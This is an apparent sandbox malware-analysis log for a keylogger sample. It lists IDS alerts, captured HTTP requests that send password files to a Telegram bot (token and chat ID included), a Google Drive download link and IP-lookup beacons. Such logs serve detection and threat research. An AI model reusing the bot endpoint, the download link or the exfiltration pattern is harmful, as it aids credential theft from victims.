Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50046 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50046 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50048 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50048 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50044 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50044 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50036 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd317e95a26f14Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3194e69a35feHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a596b280c7Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31bbc6a3946aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31d345a4d69dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e7ef48443fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31fb2850ffeeHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320cf48f9ec6Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd322011935a6cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32332070e6dbHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd324620a0f79fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32591250daf8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd326ea7100d5cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd328179a8fd74Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32943d993b6fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32a447bdac83Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32b6f09fd9a8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32c98ada1a3cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32dc17249353Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ed42a59927Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ffb2387d02Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3312139f8085Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd332704d874a7Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd333e80865cbdHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33534ee742fcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33695988c9e0Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd338331fbf071Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3399184f1d9fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33b17f5f6303Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33d7e388cba5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33f3f04ae1a8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3418cac0da0cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd344def382758Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd347dd0bc2292Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd349e790014a9Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd317ebe20a167Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: m0CZ8H4jfl.exe	Virustotal: Detection: 72%			Perma Link
Source: m0CZ8H4jfl.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 34741042h	3_2_34740C28
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 34740671h	3_2_347403AF
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 34741042h	3_2_34740C1B
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 34741042h	3_2_34740F6F
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB882Dh	3_2_36AB8650
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB91B7h	3_2_36AB8650
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then push 00000000h	3_2_36ABBDF0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB6610h	3_2_36AB6368
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB3968h	3_2_36AB36C0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB30B8h	3_2_36AB2E10
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB5908h	3_2_36AB5660
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB1250h	3_2_36AB0FA8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB6A68h	3_2_36AB67C0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB61B8h	3_2_36AB5F10
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB4218h	3_2_36AB3F70
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB1F58h	3_2_36AB1CB0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB7770h	3_2_36AB74C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB16A8h	3_2_36AB1400
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB6EC0h	3_2_36AB6C18
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB5058h	3_2_36AB4DB0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB2808h	3_2_36AB2560
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB5D60h	3_2_36AB5AB8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB54B0h	3_2_36AB5208
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB3510h	3_2_36AB3268
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB4670h	3_2_36AB43C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB3DC0h	3_2_36AB3B18
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_36AB7B4F
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB4ACAh	3_2_36AB4820
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB7318h	3_2_36AB7070
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB1B00h	3_2_36AB1858
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB2C60h	3_2_36AB29B8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then jmp 36AB23B0h	3_2_36AB2108
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 4x nop then push 00000000h	3_2_37AFE7C8

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49979 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49975 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49973 -> 142.250.185.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
